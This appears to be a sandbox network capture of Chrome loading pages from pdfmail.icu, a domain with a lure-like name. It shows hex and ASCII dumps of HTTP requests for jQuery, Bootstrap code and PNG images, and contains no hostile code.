2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 74 4e 6f 64 65 3f 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 29 3a 5b 5d 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 74 29 7d 2c 6e 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 22 6e 65 78 74 22 3d 3d 3d 74 2c 69 3d 22 70 72 65 76 22 3d 3d 3d 74 2c 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 73 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 6f 7c 7c 6e 26 26 6f 3d 3d 3d 73 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 77 72 61 70 29 72 65 Data Ascii: tNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),s=this._items.length-1;if((i&&0===o\|\|n&&o===s)&&!this._config.wrap)re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49730	151.101.2.137	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	534	OUT	GET /jquery-3.5.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72380 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-11abc" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2167059 Date: Tue, 24 Sep 2024 04:29:46 GMT X-Served-By: cache-lga21954-LGA, cache-ewr-kewr1740074-EWR X-Cache: HIT, HIT X-Cache-Hits: 464, 0 X-Timer: S1727152186.193337,VS0,VE1 Vary: Accept-Encoding
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 64 65 70 72 65 63 61 74 65 64 2f 61 6a 61 78 2d 65 76 65 6e 74 2d 61 6c 69 61 73 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 Data Ascii: /*! jQuery v3.5.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other c
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 64 65 70 72 65 63 61 74 65 64 2f 61 6a 61 78 2d 65 76 65 6e 74 2d 61 6c 69 61 73 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 22 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 45 2e 66 6e 2e 69 6e 69 74 28 65 2c 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 76 61 72 20 74 3d 21 21 65 26 26 22 6c 65 6e 67 74 68 22 69 6e 20 65 26 26 65 2e 6c 65 6e 67 74 68 2c 6e 3d 54 28 65 29 3b 72 65 74 75 72 6e 21 62 28 65 29 26 26 21 78 28 65 29 26 26 28 22 61 72 72 61 79 22 3d 3d 3d 6e 7c 7c 30 3d 3d 3d Data Ascii: query,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/Tween,-effects/animatedSelector",E=function(e,t){return new E.fn.init(e,t)};function d(e){var t=!!e&&"length"in e&&e.length,n=T(e);return!b(e)&&!x(e)&&("array"===n\|\|0===
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 21 3d 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 73 5d 29 29 66 6f 72 28 74 20 69 6e 20 65 29 72 3d 65 5b 74 5d 2c 22 5f 5f 70 72 6f 74 6f 5f 5f 22 21 3d 3d 74 26 26 61 21 3d 3d 72 26 26 28 6c 26 26 72 26 26 28 45 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 72 29 7c 7c 28 69 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 29 29 3f 28 6e 3d 61 5b 74 5d 2c 6f 3d 69 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 5b 5d 3a 69 7c 7c 45 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 6e 29 3f 6e 3a 7b 7d 2c 69 3d 21 31 2c 61 5b 74 5d 3d 45 2e 65 78 74 65 6e 64 28 6c 2c 6f 2c 72 29 29 3a 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 61 5b 74 5d 3d 72 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 45 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 Data Ascii: !=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(E.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|E.isPlainObject(n)?n:{},i=!1,a[t]=E.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},E.extend({expando:"jQuer
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 6c 26 26 28 45 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 74 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 45 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 74 2b 22 5d 22 5d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 76 61 72 20 70 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 70 2c 78 2c 6f 2c 69 2c 68 2c 66 2c 67 2c 77 2c 75 2c 6c 2c 43 2c 54 2c 61 2c 45 2c 76 2c 73 2c 63 2c 79 2c 41 3d 22 73 69 7a 7a 6c Data Ascii: l&&(E.fn[Symbol.iterator]=t[Symbol.iterator]),E.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var p=function(n){var e,p,x,o,i,h,f,g,w,u,l,C,T,a,E,v,s,c,y,A="sizzl
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 52 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 52 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 52 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 52 2b 22 2a 5c 5c 29 7c 29 22 2c 22 69 22 29 2c 62 6f 6f 6c 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 22 2b 49 2b 22 29 24 22 2c 22 69 22 29 2c 6e 65 65 64 73 43 6f 6e 74 65 78 74 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 52 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 52 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 52 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d Data Ascii: ype)(?:\$"+R+"(even\|odd\|(([+-]\|)(\\d)n\|)"+R+"(?:([+-]\|)"+R+"(\\d+)\|))"+R+"\$\|)","i"),bool:new RegExp("^(?:"+I+")$","i"),needsContext:new RegExp("^"+R+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+R+"((?:-\\d)?\\d)"+R+"*\$\|)(?=[^-]\|$)","i")}
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 6e 20 6e 2e 70 75 73 68 28 61 29 2c 6e 7d 65 6c 73 65 20 69 66 28 66 26 26 28 61 3d 66 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 69 29 29 26 26 79 28 65 2c 61 29 26 26 61 2e 69 64 3d 3d 3d 69 29 72 65 74 75 72 6e 20 6e 2e 70 75 73 68 28 61 29 2c 6e 7d 65 6c 73 65 7b 69 66 28 75 5b 32 5d 29 72 65 74 75 72 6e 20 4f 2e 61 70 70 6c 79 28 6e 2c 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 74 29 29 2c 6e 3b 69 66 28 28 69 3d 75 5b 33 5d 29 26 26 70 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 4f 2e 61 70 70 6c 79 28 6e 2c 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 69 29 29 2c Data Ascii: n n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return O.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&p.getElementsByClassName&&e.getElementsByClassName)return O.apply(n,e.getElementsByClassName(i)),
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 72 20 74 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 74 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 74 29 26 26 65 2e 74 79 70 65 3d 3d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 65 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 21 31 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 3f 22 6c 61 62 65 6c 22 69 6e 20 65 3f 22 6c 61 62 65 6c 22 69 6e 20 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 74 7c 7c 65 2e 69 73 Data Ascii: r t=e.nodeName.toLowerCase();return("input"===t\|\|"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t\|\|e.is
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 70 2e 67 65 74 42 79 49 64 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 64 3d 41 2c 21 54 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 54 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 41 29 2e 6c 65 6e 67 74 68 7d 29 2c 70 2e 67 65 74 42 79 49 64 3f 28 78 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 74 7d 7d 2c 78 2e 66 69 6e 64 2e 49 44 3d Data Ascii: .getElementsByClassName),p.getById=ce(function(e){return a.appendChild(e).id=A,!T.getElementsByName\|\|!T.getElementsByName(A).length}),p.getById?(x.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},x.find.ID=
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e 22 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 5e 3d 27 27 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 52 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 52 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 49 2b 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 41 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 7e 3d 22 29 2c Data Ascii: ption selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[^$]="+R+"(?:''\|\"\")"),e.querySelectorAll("[selected]").length\|\|v.push("\\["+R+"*(?:value\|"+I+")"),e.querySelectorAll("[id~="+A+"-]").length\|\|v.push("~="),
2024-09-24 04:29:46 UTC	1378	IN	Data Raw: 2c 74 3d 4a 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4a 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 72 29 Data Ascii: ,t=J.test(a.compareDocumentPosition),y=t\|\|J.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49734	188.114.96.3	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	402	OUT	GET /arquivo/lista/pdf.png HTTP/1.1 Host: pdfmail.icu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
2024-09-24 04:29:46 UTC	657	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:46 GMT Content-Type: image/png Content-Length: 5366 Connection: close Last-Modified: Sat, 17 Aug 2024 00:08:43 GMT ETag: "14f6-61fd5e10562de" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xi4ytfMSF6SA2eCAOrz310KpdM8W%2FFU2wUm%2BtpLk1n%2FpcO%2BGfxqTPMAFcgoxqBd%2FUfpgMc0jJNZI7a84ggIrdEqtrgvEsSDq5OPxvfXQV%2BAYfalKdxhXIgUFqlMVlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c80090e6f2d7cfc-EWR
2024-09-24 04:29:46 UTC	712	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 01 2c 08 03 00 00 00 c3 eb 6e 3a 00 00 02 f7 50 4c 54 45 47 70 4c ff 20 11 ff 1f 14 ff 1f 15 fe 20 15 fe 20 16 fe 20 17 fe 20 17 fe 20 17 fe 21 13 ff 1f 14 ff 21 11 ff 00 00 fe 1e 13 fe 20 15 fe 20 15 fe 20 15 ff 20 15 ff 23 17 ff 23 18 ff 22 16 fe 20 16 fe 20 16 fe 20 15 ff 22 14 ff 21 10 fe 20 15 ff 22 17 ff 21 16 fe 21 15 ff 20 14 ff 20 16 fe 1f 13 ff 1d 19 fe 20 15 fe 20 15 ff 1f 14 ff 1c 10 ff 18 0c fe 21 15 ff 19 0e ff 15 09 ff 1e 13 ff 34 2a ff 47 3d ff 45 3c ff 30 26 ff 1a 0f ff 16 0a ff 1d 13 ff 14 09 ff 3c 32 ff 6e 67 ff a7 a2 ff cb c9 ff dc da ff ea e9 ff eb ea ff e9 e8 ff da d8 ff c1 be ff 8d 87 ff 4b 42 ff 20 15 ff 1d 11 ff 59 51 ff ed ec ff ff ff ff fb fa ff b7 b4 ff ad aa ff Data Ascii: PNGIHDR,n:PLTEGpL !! ##" "! "!! !4*G=E<0&<2ngKB YQ
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 7f 5d 5d 5d 9e 9e 9e 9a 9a 9a 3e 3e 3e 4c 4c 4c f2 f2 f2 ee ee ee 8f 8f 8f 75 75 75 78 78 78 8b 8b 8b 83 83 83 57 57 57 b1 b1 b1 b3 b3 b3 b0 b0 b0 9b 9b 9b e0 e0 e0 9c 9c 9c 42 42 42 7a 7a 7a 13 13 13 ff 1f 17 fe 20 15 fe 1f 16 fe 21 16 fe 20 15 fe 21 16 fe 21 15 6f f3 3d fd 00 00 00 fd 74 52 4e 53 00 0e 28 40 5b 7a 75 76 72 50 3a 1c 03 24 6c ad d3 f2 ff ff ff e4 c1 8b 32 0b b3 ff ff f7 61 cd 46 08 da d0 ff ff ff e0 ff ff ff ff ff ff ff ff ff 22 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ca ff ff ff ff ff ff ff ff ff ff ff ff ff 20 ff 13 9a ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ]...>>LLLuuuxxxWWWBBBzzz ! !!o=tRNS(@[zuvrP:$l2aF"
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 1d a0 97 4c 91 ea aa 4a 18 7b f4 0e e5 4f 82 9e 8b 10 d0 ed 9d b8 a3 e7 09 cb 2e e8 2d 53 16 73 0c b2 fa 41 e9 27 d0 eb 53 d4 45 85 20 fe 97 ac d6 e6 95 3d 40 0d c4 68 75 51 d2 bf 8f 3d 1a da 57 0e 36 41 cb eb c9 cf 31 eb 60 08 7f 74 97 78 77 eb ee 0e 6b 51 17 e5 9e cf e0 8f 3e b4 f0 fa f8 4e 70 bc ba 28 dd 0c f8 a3 e7 e3 ee 04 68 ad 52 da 7f 0c 9a 35 01 7a 6d 31 bd 04 f9 66 b6 34 34 1b 36 01 1a 8e a4 21 3b a8 ed 6b cf c7 2c e4 8e 19 d0 87 1c b9 01 6a eb c7 f9 39 26 a4 bc 66 40 f7 7b a4 a3 fb a7 26 04 b7 98 31 03 3a 72 90 de 52 a1 bd e5 c7 84 9a d2 0d 66 40 c3 1b 9b a5 11 20 49 e4 77 37 4f 87 cd 81 ae 49 49 b3 00 5d 54 fe 2a 4d 66 73 e6 40 83 4f 3a a9 83 1e 5a 5b f2 64 c6 24 e8 16 1b bd d0 3b 67 d5 96 5c 02 93 a0 3b 06 a5 a5 16 01 9d d2 a7 66 41 43 b7 e2 Data Ascii: LJ{O.-SsA'SE =@huQ=W6A1`txwkQ>Np(hR5zm1f446!;k,j9&f@{&1:rRf@ Iw7OII]T*Mfs@O:Z[d$;g\;fAC
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: fa fb fb 74 ac 15 6b 74 68 f4 3a 2d 5f 75 66 d0 77 5f d1 93 6e 36 9b 04 8c d1 99 ae 32 51 d9 4a 5c 82 d6 29 85 a6 18 7d 0e 18 a3 37 16 65 f1 c5 79 2d a0 bc 71 2b da dc 81 4b 7c d1 75 47 7c 5a a8 8c 82 de 80 0f 6d 6e 32 98 03 6c d1 13 cf 25 e5 ca 09 f7 bd e1 d0 9d 48 ee 73 c0 15 bd 39 1d 4c 97 ec d9 e1 be a4 fe 3d 39 db 58 06 57 74 dd aa 2c 0e 35 c2 43 33 8b 32 91 cf 9a 1a 01 4c d1 35 01 89 ae ec 80 47 ed e9 df 0d 3c 3e 05 4c d1 93 5b 22 33 0d 8f 5b b0 08 e8 39 77 df 26 a6 e8 06 8f 98 5d 80 c7 8d bc a0 7e 20 d4 e8 ab 5a c0 13 5d db 24 5e 0f 17 9e e1 4d 74 29 a1 76 ec df 07 3c d1 9b ab 52 89 b3 f0 e1 57 d1 09 4d f2 2e c0 14 dd c2 d1 5d 50 d0 1e 8d ae d0 dc 34 60 8a be 6c 4a fb 22 f0 b8 30 25 68 66 79 14 70 45 df ba df 7a 27 68 9d 27 d1 e0 3e b8 c4 16 7d b1 Data Ascii: tkth:-_ufw_n62QJ\)}7ey-q+K\|uG\|Zmn2l%Hs9L=9XWt,5C32L5G<>L["3[9w&]~ Z]$^Mt)v<RWM.]P4`lJ"0%hfypEz'h'>}
2024-09-24 04:29:46 UTC	547	IN	Data Raw: ef a1 45 d5 5b 93 ea 4f 93 f3 b3 60 0d cd 2b e5 1a 7f 3d 3f f1 3b ff 05 ec a0 1d b4 83 76 d0 0e da 41 3b 68 5b e5 a0 1d b4 83 fe e8 a6 9e f6 23 0b 82 00 8c d7 20 e6 a9 f1 af 2b 4e 3a b6 39 58 db b6 6d db b6 f7 66 fd 8c c1 60 95 c3 38 b9 9d fa bf c1 d7 5d 55 bc ed 9b 22 fa 3b f3 e8 5d 87 9b cc e8 21 3d fa c3 9e 9d bc a3 bb bf 4b 33 3a 5d 8f 0e 7d 7e c4 3b 7a f3 99 46 52 e1 30 64 b8 48 15 94 7d bc a3 3b 6a ca f5 e8 42 18 89 ba b5 e8 a6 93 bc a3 af 37 05 f5 68 07 64 79 04 a9 e4 63 e6 c7 5b 92 ca ad d8 21 7b 39 92 aa e2 f3 41 d6 2b dd 60 ac 74 7e 00 20 86 a4 39 f6 9e 73 f4 e5 ea a0 1e 1d 07 80 62 d2 35 6e ba c5 b7 b9 fb be 24 8d db 09 00 b6 52 41 9a 96 35 7c a3 fb 5b 82 a4 12 89 2c f8 cf 87 a4 09 d1 5e ae cd 2f 7e 54 90 06 4f c0 28 bf 22 48 b5 42 ee ee e4 d9 Data Ascii: E[O`+=?;vA;h[# +N:9Xmf`8]U";]!=K3:]}~;zFR0dH};jB7hdyc[!{9A+`t~ 9sb5n$RA5\|[,^/~TO("HB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49733	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	346	OUT	GET /HTxGcIM.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	759	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1497 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:30:39 GMT ETag: "7ddbd574e19a6b2cdd30a9600d652eac" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD55-P7 X-Amz-Cf-Id: _kT0RWmvlKoVtfr5t61ABAagJHR2YwemlE7DiBETP9KnT0R_YzL62A== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Tue, 24 Sep 2024 04:29:46 GMT Age: 325532 X-Served-By: cache-iad-kcgs7200126-IAD, cache-ewr-kewr1740064-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 11, 1 X-Timer: S1727152187.605136,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
